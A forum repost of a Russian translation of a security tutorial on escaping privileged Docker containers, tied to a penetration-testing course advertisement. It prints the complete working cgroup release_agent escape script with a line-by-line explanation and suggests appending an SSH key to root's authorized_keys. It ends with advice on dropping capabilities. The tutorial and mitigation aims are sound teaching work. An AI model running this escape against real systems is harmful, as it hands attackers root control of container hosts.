[Информационная безопасность, Программирование, Разработка под Linux] Побег из привилегированных Docker-контейнеров (перевод)

Автор Сообщение
news_bot ®

Стаж: 6 лет 3 месяца
Сообщений: 27286

Создавать темы news_bot ® написал(а)
30-Июл-2020 13:33

Перевод статьи подготовлен в преддверии старта курса «Пентест. Практика тестирования на проникновение».
Привилегированные контейнеры Docker – это такие контейнеры, которые запускаются с флагом --privileged. В отличие от обычных контейнеров, эти контейнеры имеют root-доступ к машине-хосту.
Привилегированные контейнеры часто используются, когда для выполнения задач нужен прямой доступ к аппаратной составляющей. Однако привилегированные Docker-контейнеры могут позволить злоумышленникам захватить хост-систему. Сегодня мы посмотрим, как можно выйти из привилегированного контейнера.
Поиск уязвимых контейнеров
Как можно определить, что мы находимся в привилегированном контейнере?
Как понять, что вы находитесь в контейнере?
Cgroups расшифровывается как контрольные группы (control groups). Эта функция Linux изолирует использование ресурсов, и именно ей Docker пользуется для изоляции контейнеров. Сказать, находитесь ли вы в контейнере, вы можете, проверив контрольную группу процесса инициализации в /proc/1/cgroup. Если вы не внутри контейнера, то контрольная группа будет /. Опять же, если вы в контейнере, то увидите вместо этого /docker/CONTAINER_ID.
Как узнать, является ли контейнер привилегированным?
Как только вы определили, что находитесь в контейнере, нужно понять, является ли он привилегированным. Лучший способ сделать это – запустить команду, которой нужен флаг --privileged, и посмотреть, сработает ли она.
Например, вы можете попробовать добавить dummy интерфейс с помощью команды iproute2. Эта команда требует доступ к NET_ADMIN, которым контейнер обладает, если он привилегированный.
$ ip link add dummy0 type dummy

Если команда выполнится успешно, то можно сделать вывод, что контейнер имеет функционал NET_ADMIN. А NET_ADMIN в свою очередь является частью привилегированного набора функций, и контейнеры, у которых его нет, привилегированными не являются. Вы можете удалить связь dummy0 после этого теста, с помощью команды:
ip link delete dummy0

Побег из контейнера
Так как же выйти за пределы привилегированного контейнера? Тут вам поможет следующий скрипт. Этот пример и проверка концепции были взяты из блога Trail of Bits. Чтобы углубиться в концепцию, прочтите исходную статью:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Эта проверка концепции использует функцию release_agent из cgroup.
После завершения последнего процесса в cgroup, выполняется команда, которая удаляет прекратившие работу cgroups. Эта команда указана в файле release_agent и выполняется от имени root на компьютере-хосте. По умолчанию функция отключена, а путь release_agent – пуст.
Этот эксплойт запускает код через файл release_agent. Нам нужно создать cgroup, указать ее файл release_agent и запустить release_agent, убив все процессы в cgroup. Первая строка в проверке гипотез создает новую группу:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

Следующая включает функцию release_agent:
echo 1 > /tmp/cgrp/x/notify_on_release

Дальше в следующих нескольких строчках прописан путь к файлу release_agent:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

Затем можно начать писать в файл с командами. Этот скрипт выполнит команду ps aux и сохранит ее в файл /output. Также нужно установить биты доступа для скрипта:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

Наконец, инициируйте атаку, породив процесс, который сразу же завершится в cgroup, которую мы создали. Наш скрипт release_agent будет выполняться после завершения процесса. Теперь вы можете прочитать вывод ps aux на хост-машине в файле /output:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Эту концепцию вы можете использовать для выполнения любых нужных вам команд в хост-системе. Например, вы можете использовать ее для записи вашего SSH-ключа в файл authorized_keys root-пользователя:
cat id_dsa.pub >> /root/.ssh/authorized_keys

Предотвращение атаки
Как можно предотвратить эту атаку? Вместо того, чтобы предоставлять контейнерам полный доступ к хост-системе, вы должны предоставить только те полномочия, которые им нужны.
Возможности Docker позволяют разработчикам выборочно дать разрешения контейнеру. Появляется возможность разбить разрешения, обычно упакованные в root access, на отдельные компоненты.
По умолчанию Docker забирает у контейнера все разрешения и требует их добавлять. Вы можете убрать или добавить разрешения с помощью флагов cap-drop и cap-add.
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES

Например, вместо предоставления контейнеру root access, вы оставите ему NET_BIND_SERVICE, если ему нужно соединяться с портом ниже 1024. Такой флаг даст контейнеру нужные разрешения:
--cap-add NET_BIND_SERVICE

Заключение
По возможности избегайте запуска Docker-контейнеров с флагом --privileged. Привилегированные контейнеры могут дать злоумышленникам возможность выйти из контейнера и получить доступ к хост-системе. Вместо этого давайте контейнерам разрешение индивидуально с помощью флага --cap-add.
Еще почитать

Узнать подробнее о курсе.
===========
Источник:
habr.com
===========

===========
Автор оригинала: Vickie Li
===========
Похожие новости: Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_programmirovanie (Программирование), #_razrabotka_pod_linux (Разработка под Linux), #_programming, #_linux, #_docker, #_cybersecurity, #_blog_kompanii_otus._onlajnobrazovanie (
Блог компании OTUS. Онлайн-образование
)
, #_informatsionnaja_bezopasnost (
Информационная безопасность
)
, #_programmirovanie (
Программирование
)
, #_razrabotka_pod_linux (
Разработка под Linux
)
Профиль  ЛС 
Показать сообщения:     

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы

Текущее время: 10-Май 22:46
Часовой пояс: UTC + 5